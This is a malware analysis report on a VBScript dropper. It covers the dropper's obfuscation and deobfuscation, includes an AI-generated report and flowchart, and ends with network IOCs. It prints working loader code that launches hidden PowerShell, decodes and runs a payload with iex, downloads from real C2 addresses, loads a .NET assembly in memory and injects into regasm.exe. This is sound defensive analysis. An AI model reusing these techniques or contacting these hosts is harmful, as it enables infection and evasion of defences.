Source
- Malware Bazaar: https://bazaar.abuse.ch/sample/415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55/
- File type: VBS
- Size: ~15 KB
Analysis
Obfuscation
There were various forms of obfuscation used in the VBScript.
- Dead/junk code:
wBbdKYe = UCase("puBYjPx")
Public Const ERvZjzT = "NlCwLpfq"
MKjGzAQ = UCase("DRsMIuqq")
Public Const DABEuTZ = "JqMyMVi"
wkUTRRf = UCase("NIYSLVKg")
- String fragmentation:
Set wshNetwork = WScript.CreateObject("WScript.Ne" & "twork")
- Comments to increase file size:
'Phaegfdfsdodspfore! crizzgfling
'Gaucdffdsgho mooafnwfalks unobsequigousness outwitter106
'Sciaffgdfge corfpusgfcular hained
'Quaggtfch anfavisningsret29
- Payload assembly via custom functions.
- Chr-code obfuscation via random number loop.
- String concatenations.
- Direct
Chrwrapper.
Deobfuscation
Utilities: https://github.com/nikhilh-20/re_tools/tree/main/vbs
> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55.vbs --output C:\Users\Ashura\Desktop\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass1.vbs --aggressive
{"changed":145,"input_bytes":15524,"output_bytes":9641,"output_path":"C:\\Users\\Ashura\\Desktop\\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass1.vbs"}
> python .\vbs_strip_comments.py --input C:\Users\Ashura\Desktop\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass1.vbs --output C:\Users\Ashura\Desktop\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass2.vbs
{"changed":21,"comment_lines_removed":21,"input_bytes":9641,"output_bytes":8512,"output_path":"C:\\Users\\Ashura\\Desktop\\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass2.vbs"}
> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass2.vbs --output C:\Users\Ashura\Desktop\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass3.vbs
{"changed":13,"input_bytes":8512,"output_bytes":8412,"output_path":"C:\\Users\\Ashura\\Desktop\\415ce6602e0497152674528dd3e4c580aa151127380d6582880a1ccea60f9e55_pass3.vbs"}
Functionality
Prompt
/malware-analysis Analyze @C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass9.vbs. Write report in markdown format into @report.md It should contain the below sections:
1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs
Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>
Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.
Flowchart Prompt
Based on @report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2
Flowchart
flowchart TD
A([VBScript dropper launched]) --> B{Computer name contains\nMAA1 / LNP2 / CAV / -PC?}
B -- Yes --> Z1([Exit silently])
B -- No --> C[Assemble obfuscated PowerShell command\nfrom ~80 string fragments]
C --> D[Spawn hidden PowerShell process\nno window shown to user]
D --> E[Enforce TLS 1.2]
E --> F{Hostname contains\n'clean'?}
F -- Yes --> Z2([Exit silently])
F -- No --> G[Contact C2 servers in random order\n192.255.195.150/img/1.jpg\n192.255.195.158/img/1.jpg]
G --> H{Payload received?}
H -- No --> Z3([Abort])
H -- Yes --> I[Extract base64-encoded assembly\nbetween <<START>> and <<END>>\ndelimiters in fake JPEG response]
I --> J[Load .NET assembly directly into memory\nfileless — never written to disk]
J --> K[Invoke assembly entry point\nmyprogram.Homees]
K --> L[Inject into regasm.exe\n32-bit Microsoft-signed binary\nLOLBin — bypasses application whitelisting]
L --> M([Callback to third-stage C2\n216.9.224.48/xz/bin 2 upload 1 .txt])
style Z1 fill:#c0392b,color:#fff
style Z2 fill:#c0392b,color:#fff
style Z3 fill:#c0392b,color:#fff
style M fill:#8e44ad,color:#fff
style A fill:#2c3e50,color:#fff
style G fill:#e67e22,color:#fff
style L fill:#e67e22,color:#fff
Report
Executive Summary
The submitted file is a multi-stage VBScript dropper that forms the initial delivery component of a fileless malware chain. Upon execution, the script performs anti-sandbox checks and spawns a hidden PowerShell process that contacts two redundant command-and-control (C2) IP addresses disguised as image servers. The PowerShell stage downloads a base64-encoded .NET assembly embedded in fake JPEG responses, loads it directly into memory (never touching disk), and invokes its entry point — passing parameters that name regasm.exe as an injection target.
Details
VBScript Layer — Obfuscation
The script uses three custom functions to assemble its payload without exposing plaintext strings:
UDzwZIfM(n) — Chr-code obfuscation via random number loop:
Function UDzwZIfM(vOoYvvjTvq)
UDzwZIfM = "_"
Do Until asc(UDzwZIfM) = vOoYvvjTvq
Karfotifn5 = int(rnd*3000)
If Karfotifn5 < (263-8) then
UDzwZIfM = Chr(Karfotifn5)
end if
Loop
End Function
Rather than calling Chr(n) directly, the function loops generating random integers until a random character matches the target ASCII code. This breaks simple Chr(n) signature patterns and makes static analysis slower.
Ugfdsfssffgfiffsging(s) — string accumulator:
Function Ugfdsfssffgfiffsging (Musfdffgfgfical197)
oMvEyRpflNA = oMvEyRpflNA & Musfdffgfgfical197
End function
Called ~80 times, this function builds the complete PowerShell command from small, individually innocuous string fragments — each fragment too short to trigger signature detection alone.
Deledfdctable(n) — direct Chr wrapper:
Function Deledfdctable (Musfdffgfgfical197)
Deledfdctable = chr(Musfdffgfgfical197)
End function
A straightforward Chr(n) alias used for characters where the RNG loop overhead of UDzwZIfM is unnecessary — specifically the four terminal characters of the PowerShell invocation string: l, l, space, and " (ASCII 108, 108, 32, 34). Its presence as a named function rather than a direct Chr() call keeps all character-code resolution behind indirection, maintaining a consistent obfuscation style.
VBScript Layer — Sandbox/Targeted Evasion
Before running the PowerShell payload, the script queries the host computer name and exits silently if it matches known analysis/sandbox naming patterns or other targeted environments:
Set wshNetwork = WScript.CreateObject("WScript.Network")
str = wshNetwork.ComputerName
If instr(ucase(str), "MAA1") > 0 OR _
instr(ucase(str), "LNP2") > 0 OR _
instr(ucase(str), "CAV") > 0 OR _
instr(ucase(str), "-PC") > 0 Then
WScript.Quit
End if
Targeted strings suggest the author tested against specific sandbox environments (e.g., CAV — Comodo AV sandbox; -PC — generic analysis VM convention; MAA1, LNP2 — maybe internal lab machine prefixes), or other targeted environments.
VBScript Layer — Hidden PowerShell Execution
The accumulator builds a PowerShell command that decodes and executes a base64/UTF-16LE payload inline. The assembled command is passed to a WScript.Shell object with window style 0 (completely hidden):
Dim dgdfss
dgdfss = "ript.Shell"
Set dfgdfghgfsfsddfgdd = CreateObject(UDzwZIfM(87) & UDzwZIfM(83) & UDzwZIfM(99) & dgdfss)
FflIItjPUeXG = UDzwZIfM(112) & UDzwZIfM(111) & UDzwZIfM(119) & UDzwZIfM(101) & "r" & UDzwZIfM(115) & "he" & Deledfdctable(108) & Deledfdctable(108) & Deledfdctable(32) & Deledfdctable(34)
FflIItjPUeXG = FflIItjPUeXG & oMvEyRpflNA
dfgdfghgfsfsddfgdd.Run FflIItjPUeXG,0
After Chr-code resolution:
UDzwZIfM(87,83,99) + "ript.Shell"→"WScript.Shell"UDzwZIfM(112,111,119,101) + "r" + UDzwZIfM(115) + "he" + Chr(108,108,32,34)→powershell "
The tail of the accumulator adds the inline decode-and-execute suffix to the accumulated string:
Call Ugfdsfssffgfiffsging("nACkA...AA==';$oW") ' — closes base64 string, opens $oW...
Call Ugfdsfssffgfiffsging("dfjuxd = [system.Text.encoding]::Unicode.GetString([")
Call Ugfdsfssffgfiffsging("system.c")
Call Ugfdsfssffgfiffsging("onvert]::Fromba" & UDzwZIfM(115)) ' → "Frombas"
Call Ugfdsfssffgfiffsging("e" & UDzwZIfM(54) & "4" & UDzwZIfM(115) & UDzwZIfM(116) & UDzwZIfM(114) & UDzwZIfM(105) & UDzwZIfM(110) & UDzwZIfM(103) & "( $dhfghfggfhdssi") ' → "e64String( $dhfghfggfhdssi"
Call Ugfdsfssffgfiffsging("go" & UDzwZIfM(46) & "replace('f@','f') ));i") ' → "go.replace('f@','f') ));i"
Call Ugfdsfssffgfiffsging("ex $oWdfjuxd")
After all fragments are joined and Chr codes resolved, oMvEyRpflNA contains:
$dhfghfggfhdssigo ='<base64_payload>';$oWdfjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::FromBase64String( $dhfghfggfhdssigo.replace('f@','f') ));iex $oWdfjuxd
The final shell call is therefore: WScript.Shell.Run "powershell ""<above one-liner>""", 0
The .replace('f@','f') call is the evasion mechanism for the base64 string itself: two occurrences of f@ are embedded in the raw base64 to corrupt any static signature that tries to match the complete encoded payload. They are silently repaired at runtime before decoding.
PowerShell Layer — TLS Enforcement and C2 Contact
The decoded PowerShell script (recovered from base64/UTF-16LE payload) begins by enforcing TLS 1.2, ensuring encrypted C2 communication:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
A second sandbox check targets hostname patterns before any network activity:
if ((hostname) -like '*clean*') {
exit
}
The script contacts two C2 servers in randomized order via WebClient.DownloadData, masquerading the request as a JPEG image fetch:
$targetUrls = @(
($baseUrl + '192.255.195.150/img/1.jpg'),
($baseUrl + '192.255.195.158/img/1.jpg')
)
$rawData = Get-RemoteData $targetUrls
The Get-RemoteData function shuffles the URL list on each execution (Get-Random -InputObject $urls -Count $urls.Length), making network request ordering unpredictable and complicating traffic-pattern detection. Failure on one URL is silently caught and falls through to the next.
PowerShell Layer — Staged Payload Extraction
The HTTP response is not a real JPEG. The script interprets the response body as UTF-8 text and locates a base64-encoded .NET assembly sandwiched between custom delimiter tags:
$startTag = '<<STAR' +'T>>'
$endTag = '<<END>>'
$startPos = $textContent.IndexOf($startTag)
$endPos = $textContent.IndexOf($endTag)
if ($startPos -ge 0 -and $endPos -gt $startPos) {
$startPos += $startTag.Length
$base64Length = $endPos - $startPos
$base64Chunk = $textContent.Substring($startPos, $base64Length)
The split '<<STAR' +'T>>' construction defeats string-literal scanning for the <<START>> tag. Any other content in the fake JPEG (decoy bytes, image headers, etc.) is ignored — only the data between delimiters matters.
PowerShell Layer — Fileless .NET Assembly Loading
The extracted base64 chunk is decoded and loaded directly into the current process memory — never written to disk:
$assemblyBytes = [System.Convert]::FromBase64String($base64Chunk)
$loadedAsm = [System.Reflection.Assembly]::Load($assemblyBytes)
$targetType = $loadedAsm.GetType('myprogram.Homees')
The loaded assembly’s namespace is myprogram, class Homees.
.NET Assembly Invocation — RegAsm LOLBin Injection
The script invokes the runss method on the loaded assembly. The method name is split across two literals ('run' + 'ss') to evade string matching:
$injValue = 'Re' + 'gAsm'
$str = '0'
$ggg = 'txt.)1(02%daolpu)2(02%nib/zx/84.422.9.612//: gsfhjgfsgf' ; $ggg = $ggg.Substring(0, $ggg.Length - 11)
$targetType.GetMethod('run' + 'ss').Invoke(
$null,
[object[]] ($ggg , $str, '', $injValue, '0', 'x86')
)
Parameter breakdown:
| Argument | Decoded Value | Meaning |
|---|---|---|
$ggg |
txt.)1(02%daolpu)2(02%nib/zx/84.422.9.612//: |
Reversed C2 URL → http://216.9.224.48/xz/bin%20(2)upload%20(1).txt |
$str |
'0' |
Mode/flag |
| arg3 | '' |
Empty — optional data field |
$injValue |
'RegAsm' |
Target process: regasm.exe |
| arg5 | '0' |
Secondary flag |
| arg6 | 'x86' |
Target architecture: 32-bit |
$ggg URL reconstruction: The stored string is reversed internally by runss:
txt.)1(02%daolpu)2(02%nib/zx/84.422.9.612//: → reversed → ://216.9.224.48/xz/bin%20(2)upload%20(1).txt → full URL: http://216.9.224.48/xz/bin%20(2)upload%20(1).txt
LOLBin abuse via regasm.exe: $injValue = 'RegAsm' targets regasm.exe — Microsoft’s .NET Assembly Registration Utility, a signed Windows binary present on all .NET-capable systems. Using it as an injection host provides:
- Inherent trust (Microsoft-signed binary) that bypasses application whitelisting
- No suspicious new process creation in the path visible to the user
- Legitimate-looking process tree entry
Based on the 'x86' architecture flag and the method signature, runss may be performing process hollowing or shellcode injection into a 32-bit regasm.exe instance, using http://216.9.224.48/xz/bin%20(2)upload%20(1).txt as the final-stage C2 endpoint for payload retrieval or command-and-control communication.
IOCs
- Network
| Type | Indicator | Role |
|---|---|---|
| IP | 192[.]255[.]195[.]150 |
Stage-2 payload delivery C2 |
| IP | 192[.]255[.]195[.]158 |
Stage-2 payload delivery C2 (redundant) |
| IP | 216[.]9[.]224[.]48 |
Stage-3 C2 / callback endpoint |
| URL | hxxp://192[.]255[.]195[.]150/img/1[.]jpg |
Fake JPEG serving .NET assembly |
| URL | hxxp://192[.]255[.]195[.]158/img/1[.]jpg |
Fake JPEG serving .NET assembly (fallback) |
| URL | hxxp://216[.]9[.]224[.]48/xz/bin%20(2)upload%20(1)[.]txt |
Third-stage C2 endpoint |